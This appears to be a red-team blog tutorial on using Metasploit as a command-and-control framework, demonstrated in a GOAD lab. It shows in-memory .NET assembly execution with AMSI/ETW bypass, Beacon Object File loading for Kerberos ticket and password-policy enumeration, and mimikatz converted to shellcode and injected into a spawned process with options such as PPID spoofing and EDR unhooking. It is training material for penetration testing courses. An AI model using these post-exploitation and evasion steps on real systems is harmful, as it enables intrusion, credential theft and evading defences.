⚡ Stray Voltage

Who needs Cobalt Strike? Using Metasploit like a modern C2

The best thing about Metasploit is you already most likely know how to use it. I've tried other free C2's like Sliver and Havoc but every time I try to use them I find some edge case that they cannot do that Metasploit does easily1. So let's start using Metasploit like a pro!

The following post improves on the tradecraft taught by Offensive Security in their OSEP course - and would work well for those doing HTB Prolabs - while still allowing you to take advantage of Metasploit's good features2.

Thanks to the creators of GOAD for creating a lab I can use for demonstration purposes

execute_dotnet_assembly

Execute_dotnet_assembly is similar to Cobalt Strike's execute-assembly. It allows us to run dotnet assemblies on the victim machine in memory (C# tools like SharpView, SharpUp, or Rubeus which we host on our attacker machine). This means we do not need to upload the file to the victim's machine and risk on-disk detection. This module can be configured to Fork&Run but the default is to use the SELF method where no new process is spawned.

This is a post-exploitation module which means we need to background our meterpreter session with ctrl-z.

msf6 post(windows/manage/execute_dotnet_assembly) > options

Module options (post/windows/manage/execute_dotnet_assembly):

   Name        Current Setting                     Required  Description
   ----        ---------------                     --------  -----------
   AMSIBYPASS  true                                yes       Enable AMSI bypass
   ARGUMENTS   Get-Domain                          no        Command line arguments
   DOTNET_EXE  /home/kali/tools/csharp-files/Shar  yes       Assembly file name
               pView.exe
   ETWBYPASS   true                                yes       Enable ETW bypass
   SESSION     1                                   yes       The session to run this module on
   TECHNIQUE   SELF                                yes       Technique for executing assembly (Accepted: SELF, INJECT, SPAW
                                                             N_AND_INJECT)


   When TECHNIQUE is INJECT:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PID                    no        PID to inject into


   When TECHNIQUE is SPAWN_AND_INJECT:

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   PPID                             no        Process Identifier for PPID spoofing when creating a new process (no PPID spo
                                              ofing if unset)
   PROCESS         notepad.exe      no        Process to spawn
   USETHREADTOKEN  true             no        Spawn process using the current thread impersonation

I find this semi-reliable but there are limitations on the arguments and receiving the output, plus if you use the SELF method and the execution breaks then the shell will also die.

It does work well for SharpView: if PowerShell is restricted we can still enumerate the domain:

msf6 post(windows/manage/execute_dotnet_assembly) > run
# [*] Running module against WS (192.168.1.112)
# [*] Opening handle to process 1456...
# [+] Handle opened
# [*] Reflectively injecting the Host DLL into 1456 (x64)...
# [*] Injecting Host into 1456...
# [*] Host injected. Copy assembly into 1456...
# [*] Assembly copied.
# [*] Executing...
# [*] Start reading output
# [*] Writing output to /home/kali/.msf4/logs/dotnet/log_SharpView.exe_20250827155245
Forest                         : mini.lab
DomainControllers              : {dc.mini.lab}
Children                       : {}
DomainMode                     : Unknown
DomainModeLevel                : 7
PdcRoleOwner                   : dc.mini.lab
RidRoleOwner                   : dc.mini.lab
InfrastructureRoleOwner        : dc.mini.lab
Name                           : mini.lab

# [*] End output.
# [+] Execution finished.
# [*] Post module execution completed

bofloader

More modern tradecraft is built around using BOF's (Beacon Object Files) instead of dotnet assemblies. When C code is compiled to an .exe or .elf, this is actually a multi-step process with compilation as one step which produces an object file which is then assembled and linked to create the final binary. BOFs are object files which can be loaded into the malicious process's memory with no requirement to spawn a new process and don't have the .NET Common Language Runtime requirement of execute_dotnet_assembly: thus reducing the risk of being detected.

BOF support is more commonly associated with "proper" C2s but Metasploit has had the feature since 2022. The implementation seems a little awkward at first but it's actually pretty straight forward.

It's not a post-exploitation module so this time we can stay right in our meterpreter session:

meterpreter > load bofloader
Loading extension bofloader...

meterpreter                  
   ▄▄▄▄    ▒█████    █████▒  
  ▓█████▄ ▒██▒  ██▒▓██      
  ▒██▒ ▄██▒██░  ██▒▒████    
  ▒██░█▀  ▒██   ██░░▓█▒     
  ░▓█  ▀█▓░ ████▓▒░░▒█░      
  ░▒▓███▀▒░ ▒░▒░▒░         
  ▒░▒        ▒░       ~ by @kev169, @GuhnooPluxLinux, @R0wdyJoe, @skylerknecht ~
                     
                loader    
                            

Success.

With the feature loaded, we need something to run. You can find lots of useful BOF collections here and then follow the instructions to compile them. You'll see the output of this process is .o files. If the BOF expects no arguments then they can be run like so:

meterpreter > execute_bof /home/kali/tools/bof/CS-Situational-Awareness-BOF/SA/whoami/whoami.x64.o
[*] No arguments specified, executing bof with no arguments.

UserName                SID
====================== ====================================
MINILAB\WS$     S-1-5-18


GROUP INFORMATION                                 Type                     SID                                          Attributes               
================================================= ===================== ============================================= ==================================================
BUILTIN\Administrators                            Alias                    S-1-5-32-544                                  Enabled by default, Enabled group, Group owner, 
Everyone                                          Well-known group         S-1-1-0                                       Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\Authenticated Users                  Well-known group         S-1-5-11                                      Mandatory group, Enabled by default, Enabled group, 
Mandatory Label\System Mandatory Level            Label                    S-1-16-16384                                  Mandatory group, Enabled by default, Enabled group, 


Privilege Name                Description                                       State                         
============================= ================================================= ===========================
SeAssignPrimaryTokenPrivilege Replace a process level token                     Disabled                      
SeLockMemoryPrivilege         Lock pages in memory                              Enabled                       
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process                Disabled                      
SeTcbPrivilege                Act as part of the operating system               Enabled                       
SeSecurityPrivilege           Manage auditing and security log                  Disabled                      
SeTakeOwnershipPrivilege      Take ownership of files or other objects          Disabled                      
SeLoadDriverPrivilege         Load and unload device drivers                    Disabled                      
SeSystemProfilePrivilege      Profile system performance                        Enabled                       
SeSystemtimePrivilege         Change the system time                            Disabled                      
SeProfileSingleProcessPrivilegeProfile single process                            Enabled                       
SeIncreaseBasePriorityPrivilegeIncrease scheduling priority                      Enabled                       
SeCreatePagefilePrivilege     Create a pagefile                                 Enabled                       
SeCreatePermanentPrivilege    Create permanent shared objects                   Enabled                       
SeBackupPrivilege             Back up files and directories                     Disabled                      
SeRestorePrivilege            Restore files and directories                     Disabled                      
SeShutdownPrivilege           Shut down the system                              Disabled                      
SeDebugPrivilege              Debug programs                                    Enabled                       
SeAuditPrivilege              Generate security audits                          Enabled                       
SeSystemEnvironmentPrivilege  Modify firmware environment values                Disabled                      
SeChangeNotifyPrivilege       Bypass traverse checking                          Enabled                       
SeUndockPrivilege             Remove computer from docking station              Disabled                      
SeManageVolumePrivilege       Perform volume maintenance tasks                  Disabled                      
SeImpersonatePrivilege        Impersonate a client after authentication         Enabled                       
SeCreateGlobalPrivilege       Create global objects                             Enabled                       
SeIncreaseWorkingSetPrivilege Increase a process working set                    Enabled                       
SeTimeZonePrivilege           Change the time zone                              Enabled                       
SeCreateSymbolicLinkPrivilege Create symbolic links                             Enabled                       
SeDelegateSessionUserImpersonatePrivilegeObtain an impersonation token for another user in the same sessionEnabled 

Things seem a bit more complicated if the BOF expects arguments because we need to provide the format string for the input. Getting this wrong will cause both the BOF and meterpreter to crash. But to find the right information is as simple as looking at the .cna file usually provided to load these into Cobalt Strike. Let's take a BOF I haven't run before: get_password_policy from the CS-Situational-Awareness-BOF Collection. After compiling the collection, I opened the .cna file and looked for the function with particular attention to the second argument passed to bof_pack.

$ /home/kali/tools/bof/CS-Situational-Awareness-BOF/SA/SA.cna

[...SNIP...]
alias get_password_policy
{
        local('$server $args');

        if(size(@_) < 2)
        {
                berror($1, "Invalid number of arguments, must specify target server / DC");
                berror($1, beacon_command_detail("get_password_policy"));
                return;
        }
        $server = $2;
        $args = bof_pack($1, "Z", $server);
        beacon_inline_execute($1, readbof($1, "get_password_policy", $null, "T1201"), "go", $args);
}
[...SNIP...]

This argument expects type Z and we can see in the error message it's looking for a target server or Domain Controller.

The types equate to the following:

Type Description
b binary data (e.g. 01020304, file:/path/to/file.bin)1
i 32-bit integer (e.g. 0x1234, 5678)
s 16-bit integer (e.g. 0x1234, 5678)
z null-terminated utf-8 string
Z null-terminated utf-16 string

Now we know we need to provide type Z using -f Z and that it will be a string:

meterpreter > execute_bof /home/kali/tools/bof/CS-Situational-Awareness-BOF/SA/get_password_policy/get_password_policy.x64.o -f Z "192.168.1.149"
Minimum password length:  5
Maximum password age (days): Unlimited
Minimum password age (days): 1
Forced log off time (seconds):  Never
Password history length:  24
Lockout duration (minutes):  5
Lockout observation window (minutes):  5
Lockout threshold:  5

We can apply this knowledge to run the BOF implementation of Rubeus which is a significant improvement on running this via execute_dotnet_assembly:

meterpreter > execute_bof /home/kali/tools/bof/kerbeus/_bin/triage.x64.o
[*] No arguments specified, executing bof with no arguments.

Action: List Kerberos Tickets (All Users)


--------------------------------------------------------------------------------------------------------------------------
| LUID        | Client                                   | Service                                  |            End Time |
--------------------------------------------------------------------------------------------------------------------------
| 0:0x3e4     | ws$ @ MINI.LAB                           | krbtgt/MINI.LAB                          | 28.08.2025 05:26:37 |
| 0:0x3e4     | ws$ @ MINI.LAB                           | krbtgt/MINI.LAB                          | 28.08.2025 05:26:37 |
| 0:0x3e4     | ws$ @ MINI.LAB                           | cifs/dc.mini.lab                         | 28.08.2025 05:26:37 |
| 0:0x3e4     | ws$ @ MINI.LAB                           | ldap/dc.mini.lab/mini.lab                | 28.08.2025 05:26:37 |
| 0:0x3e7     | ws$ @ MINI.LAB                           | krbtgt/MINI.LAB                          | 28.08.2025 05:26:37 |
| 0:0x3e7     | ws$ @ MINI.LAB                           | krbtgt/MINI.LAB                          | 28.08.2025 05:26:37 |
| 0:0x3e7     | ws$ @ MINI.LAB                           | LDAP/dc.mini.lab                         | 28.08.2025 05:26:37 |
| 0:0x3e7     | ws$ @ MINI.LAB                           | cifs/dc.mini.lab/mini.lab                | 28.08.2025 05:26:37 |
| 0:0x3e7     | ws$ @ MINI.LAB                           | WS$                                      | 28.08.2025 05:26:37 |
| 0:0x3e7     | ws$ @ MINI.LAB                           | LDAP/dc.mini.lab/mini.lab                | 28.08.2025 05:26:37 |
--------------------------------------------------------------------------------------------------------------------------

shellcode_inject

The final method I am going to demonstrate is injecting shellcode. Shellcode doesn't have to give us a shell, it can be any binary in shellcode format (specifically Position Independent Shellcode).

We can turn any binary into Position Independent Shellcode with donut. In this example I'll use mimikatz.

┌──(kali㉿kali)-[~/tools/mimikatz]
└─$ /home/kali/tools/donut/donut -i /home/kali/tools/mimikatz/mimikatz.exe -a 2 -b 2 -o /home/kali/tools/mimikatz/katz.bin

  [ Donut shellcode generator v1 (built Jul 21 2025 15:46:31)
  [ Copyright (c) 2019-2021 TheWover, Odzhan

  [ Instance type : Embedded
  [ Module file   : "/home/kali/tools/mimikatz/mimikatz.exe"
  [ Entropy       : Random names + Encryption
  [ File type     : EXE
  [ Target CPU    : amd64
  [ AMSI/WDLP/ETW : abort
  [ PE Headers    : overwrite
  [ Shellcode     : "/home/kali/tools/mimikatz/katz.bin"
  [ Exit          : Thread

There's an optional setting to pass arguments to the binary file but I won't use that here. There's a number of options for shellcode_inject but the only mandatory ones are session and shellcode. The other options allow us to avoid Fork&Run, or spoof the parent PID so that (e.g.) we could have a web request appear to come from a browser process.

msf6 post(windows/manage/shellcode_inject) > options

Module options (post/windows/manage/shellcode_inject):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   AUTOUNHOOK   false            yes       Auto remove EDRs hooks
   BITS         64               yes       Set architecture bits (Accepted: 32, 64)
   CHANNELIZED  false            yes       Retrieve output of the process
   HIDDEN       true             yes       Spawn an hidden process
   INTERACTIVE  false            yes       Interact with the process
   PID          0                no        Process Identifier of process to inject the shellcode. (0 = new process)
   PPID         0                no        Process Identifier for PPID spoofing when creating a new process. (0 = no PPID s
                                           poofing)
   SESSION                       yes       The session to run this module on
   SHELLCODE                     yes       Path to the shellcode to execute
   WAIT_UNHOOK  5                yes       Seconds to wait for unhook to be executed

For mimikatz I'll need to set channelized and interactive to true so that I can see the output:

msf6 post(windows/manage/shellcode_inject) > set session 1
session => 1
msf6 post(windows/manage/shellcode_inject) > set channelized true
channelized => true
msf6 post(windows/manage/shellcode_inject) > set interactive true
interactive => true
msf6 post(windows/manage/shellcode_inject) > set shellcode /home/kali/tools/mimikatz/katz.bin
shellcode => /home/kali/tools/mimikatz/katz.bin
msf6 post(windows/manage/shellcode_inject) > run
[*] Running module against WS (192.168.1.112)
[*] Spawned Notepad process 6320
[+] Successfully injected payload into process: 6320
[*] Interacting

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # coffee

    ( (
     ) )
  .______.
  |      |]
  \      /
   `----'

mimikatz # 
  1. Migrating from an x86 process to an x64 process; Running PowerView to perform a DACL attack; Random inconsistencies when running armory tools.

  2. Excellent Linux support; Excellent support for x86 and x64; Easy to use and you probably already know how to use it.